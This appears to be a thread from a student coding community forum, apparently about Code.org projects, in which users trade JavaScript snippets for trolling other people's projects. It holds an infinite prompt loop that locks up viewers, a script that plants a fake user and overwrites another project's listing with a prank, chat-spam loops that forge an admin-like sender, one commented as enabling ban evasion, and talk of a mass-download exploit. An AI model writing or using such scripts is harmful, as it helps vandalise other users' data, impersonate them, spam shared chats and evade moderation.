Fluffypoopo
wut adam made this
if (window.getURLPath()[3] == "view") {
while (true) {
prompt("No.");
}
}
then put it in a library
Fluffypoopo
wut adam made this
if (window.getURLPath()[3] == "view") {
while (true) {
prompt("No.");
}
}
then put it in a library
pluto I have an at the moment passive anti-hack once I know it is not going to let anything slip I'll make it like a Minecraft wolf and attack back
I wonder if there is a way to collect CDO accounts like the actual CDO accounts
Fluffypoopo i feel like user ids are the closet you can get
pluto
you can bypass this by blocking the prompts(firefox lets you do this through the click of a button)
Fluffypoopo i mean it looks like garbage but sure
function flush(id) {
id = id || String();
while (id.length < 28) {
id += encodeURIComponent(String.fromCharCode(Math.floor(Math.random() * 255)))
}
}
var player = { user: "stonks_GOD_V2", userid: flush(), role: "User", rank: 0, flag: "done" };
update("Projects", { project_image: "https://i.ytimg.com/vi/dQw4w9WgXcQ/maxresdefault.jpg", project_title: "Give Up", project_url: "https://www.youtube.com/watch?v=dQw4w9WgXcQ", project_rating: "42069", project_description: "Idk it's a prank bro", project_username: player.user, project_userid: player.id, id: 2 })
push("Users", player);
//push("Projects", {project_image: "https://i.ytimg.com/vi/dQw4w9WgXcQ/maxresdefault.jpg", project_title: "Give Up", project_url: "https://www.youtube.com/watch?v=dQw4w9WgXcQ", project_rating: "42069", project_description: "Idk it's a prank bro", project_username: player.user, project_userid: player.id})
readRecords("Projects", [], console.log);
function push(table, data) {
createRecord(table, data);
for (var i = 2; i < 4; i++) {
createRecord(table + i, data)
}
}
function purge(table, data) {
deleteRecord(table, data);
for (var i = 2; i < 4; i++) {
deleteRecord(table + i, data)
}
}
function update(table, data) {
updateRecord(table, data);
for (var i = 2; i < 4; i++) {
updateRecord(table + i, data)
}
}
I left a present on your demo btw
ackvonhuelio yeah i know, im just using wut adams thing
pluto lmao would you have preferred chocolate rain? i was asked to troll so I obliged @Fluffypoopo if not, what would you prefer being injected into it?
oh yeah abt that, doesn't savecanvas download files if you put it in your game? i think this can be exploited
pluto yea unless you block multiple download files https://studio.code.org/projects/gamelab/Uzs--qFrO3-uoMe-x-x5tSR9EcMOu7EXctVFWIKhbB4/view i think it's originally allowed for chrome but most other providers don't also CLICK AT YOUR OWN RISK this is a demo for a proof of concept don't run the project unless you know how it works or you know what your doing
it wont work and im on chrome
and i didnt block it
timedLoop(10, function() { getKeyValue("msg" + formatUsername(room + " "),function(e){ var ret = e; ret.push({uid: encodeURIComponent("sDiGQ0gIAjEDHr3XMXyTn2vi36g"),
user: 'GOD ALMIGHTY',time: getTime(),
msg: 'though shalt yes'});
setKeyValue("msg" + formatUsername(room + " "), ret); }); });
spamthingy i made after looking about the code a while
ackvonhuelio you could just initialize the database and make it look much cleaner by adding setInterval with database.message("") as a spam thing it's not that hard know what I'll do it myself
var mod = new Database("msghome", "GOD_ALMIGHTY");
setInterval(function(){
mod.message("though shalt yes");
mod.flush(); // this allows ban evasion for the funnies
}, 100)
Varrience thx bro
Fluffypoopo I got a name for the little script i wrote to.... I'd call it BOON, that is if your planning to use some of the code in your project if not, best of luck!